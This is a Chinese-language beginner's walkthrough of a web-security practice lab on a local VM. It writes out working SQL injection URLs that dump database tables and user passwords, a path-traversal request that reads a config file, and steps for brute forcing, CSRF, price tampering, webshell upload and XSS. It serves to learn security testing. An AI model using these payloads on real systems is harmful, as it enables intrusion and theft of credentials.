虚拟机下载路径:
链接:https://pan.baidu.com/s/19234CirAiVf3H820uWWNeg
提取码:7jfs
使用firefox 可以使用一个叫hackbar的插件,方便注入语句的测试
1.提交 ' 报错,可能存在注入点
还是一个字符型的注入漏洞
测试语句:http://172.27.73.13/pentest/test/sqli/sqltamp.php?gid=1'
2.提交 1' or 1='1 会显示出所有信息
测试语句:http://172.27.73.13/pentest/test/sqli/sqltamp.php?gid=1' or 1='1
3. 使用order by 语句可以猜解这个数据表有多少个字段,目测就是4个了,当然有可能不是select * from tables_name:
order by 1
order by 2
order by 3 ······· 这个例子在order by 1--4 都是能够正确回显,直到order by 5 会出现报错,如图:
即这个表含有4个字段
该例子使用的测试语句:http://172.27.73.13/pentest/test/sqli/sqltamp.php?gid=1' or 1=1 order by 5-- -
4. 使用联合查询 union select 出现显示位
测试语句:http://172.27.73.13/pentest/test/sqli/sqltamp.php?gid=1' union select 1,2,3,4-- -
此时也可以顺带把数据库的版本号,用户,和当前的数据库名字给查出
测试语句 http://172.27.73.13/pentest/test/sqli/sqltamp.php?gid=1' union select 1,database(),version(),user()#
5.查表和列名
表名都显示出来了,有comment,flag,good,user 4个表
测试语句:http://172.27.73.13/pentest/test/sqli/sqltamp.php?gid=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
显示出了user表的列名:uid,uname,pwd,bill
测试语句:http://172.27.73.13/pentest/test/sqli/sqltamp.php?gid=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name ='user'-- -
6.拖库
将user表的帐号密码给爆出来了
测试语句:http://172.27.73.13/pentest/test/sqli/sqltamp.php?gid=1' union select 1,2,group_concat(uname),group_concat(pwd) from user-- -
小结:当然我们还可以使用sqlmap的自动化工具来实验sql注入的测试,上述步骤主要是人工进行测试,后面会补充sqlmap是实现。
第一眼的感觉,是不是一句话木马呀?
下载右键查询一下图片数据发现!!!
123.txt 密码 123 ???
将123.jpg改成123.rar,里面果然有一个123.txt的文档,里面的内容就是密码:123,如图
将123 提交数据,既然报错
小结:不知道是什么原因了,再看看网上面的大神怎么说吧。后续再补充结果。
题目说目录也很重要,是不是让我们扫描一下目录,顺便查看了一下这个页面的源码,果然是叫我们去扫描目录
该页面的路径为:http://172.27.73.13/pentest/test/san/index33.htm
用burpsuite扫描了一下目录,发现:
还有个一个叫test的文件和目录,路径替换一下咯
又弹出一个提示,用md5加密目录名?目录名应该就是test了
然后用test的md5密文 4621d373cade4e83 替换 test 看看出现什么
真是一个大傻逼了
同标题没有任何关系啊,木有验证码,可能是让我们去爆破一下用户名密码吧,找找弱口令字典吧,顺带用burpsuite看看是不是帐号密码都是明文传输 ?
然而真的是明文传输,那就直接爆破吧。
tips : 使用burpsuite爆破密码的时候,如果想快速定位正确的帐号密码,可以使用grep的功能,截取关键字。
帐号密码,爆破出来了,admin / admin123
小结:burpsuit的爆破功能还是比较好用的。
说到http头部注入,一般有下列几类:
1.User-agent 浏览器版本 (少)
2.Referer 来源(少)
3.X-Forwarded-For 获取ip(高)
4.client_ip 获取ip(高)
可以测试一下 x-forwarded-for (xff)头部注入
burpsuite捉取请求
在repeater 修改请求 增加 X-Forwarded-For:127.0.0.1 看看返回什么,如图:
返回有数据库查询错误
那就可以构造语句获取数据库相关信息了
最后像第一关那样构建数据库注入语句就可以了或者相关信息了。
直接burpsuite抓包修改价格吧,现在余额是40.9
先抓个包看看看看是怎样一个情况
抓取到了,买99999999本,那么我把价格bill1 =10 更改为0,那就是0元购买
再回到浏览器上看看情况吧
小结:此前某电商的确爆出过类似这样的漏洞,任意修改金额数量的
题目说明 :已知帐号密码 tom/123456
使用tom / 123456登陆后,观察url
用户名显示在url
捉包看看情况吧
若将包的用户名tom 修改为管理员admin,看看密码能否修改?发送去repeater修改
好像是成功了,重新登陆看看是不是将密码改为88888了
CSRF 模拟一个修改密码的页面诱导管理员点击页面,达到修改密码的目的,这里可以先构造一个页面
使用burpsuite可以构造一个csrf页面
将admin用户 密码修改为admin
copy html 生成csrf.html 页面上传到服务器,点击,然而并不能修改密码,再找找大神看看什么原因
不明白,看源码
就是传输一个url参数吧
url 构造成这个样子
就是真样子吗?
路径不对哇,真实路径应该是 http://172.27.73.13/pentest/test/6/1/download.php
题目标题说是帮管理员找回mysql的密码,那么应该就是寻找配置文件了,遍历一下网站目录,发现
http://172.27.73.13/pentest/test/6/1/db/ 下有一个config.php 的文件,但是不能直接下载
我们可以尝试使用download.php来尝试下载,但是路径是不对的,试下利用../来进行路径跳转!
tips:./ 当前目录 ../ 父级目录 / 根目录
尝试一下构造路径,这里phpinfo.php是在根目录下(WWW)的,而点击“点我下载”的时候,会出现文件不存在报错,且也把路径给暴露出来了
即返回3层父目录就可以了
测试成功,证明这个download.php是可以进行下载的,现在构造config.php的路径了
路径:http://172.27.73.13/pentest/test/6/1/download.php?fname=../../../pentest/test/6/1/db/config.php
帐号密码出来了
小结:这里存在两个漏洞吧,一个是文件下载,一个是目录遍历
点击下载,路径啥都没变,要就抓包看看情况吧
这里直接修改pic参数,直接根据上一踢的config.php路径来构造吧。
登陆帐号后
应该就是一句话木马了,上传一句话木马后,用菜刀神器就系获取服务器的sheel,不知道为什么暂时获取不了,可能是菜刀失灵了。都有可能是工具问题,后面再试一下。
13是反射型xss,14是存储型xss,就将这两个关卡放在一起写了,估计需要截图的地方不多
13 反射型xss
直接修改url,弹框吧,还是没有过滤的最基础的xss语句,
14 存储型xss
一个留言区,直接写入xss语句 估计也是没有过滤的,看看效果
还是弹出了,但是速度有点慢呢。
哈 这题目有点搞笑,我真实上传一个图片发现,真的jpg反而上传不了
那就看看源码吧
这里是说 要type是需要image的,但是文件名是需要php后缀,一句话木马!用burpsuite改包试下吧
将content-type 改为image/jpge 就可以了吧,试下
上传成功
这题目有点不知道怎么弄
剁手不是去淘宝就去京东吧,那就试下淘宝
提示只允许10.10.10.10 访问,那就捉包修改host吧
出现nonono 我就nonono了 不知道怎么接续下去,还是看看源码吧
源码的条件出来了,原来HTTP_REFERER 还需要是www.baidu.com
直接 改包吧
最后提交flag
最后:初级试题已经完成,后面再做下中级的试题,一直希望官方能出个正式的教程,让我们这些初学者学习一下。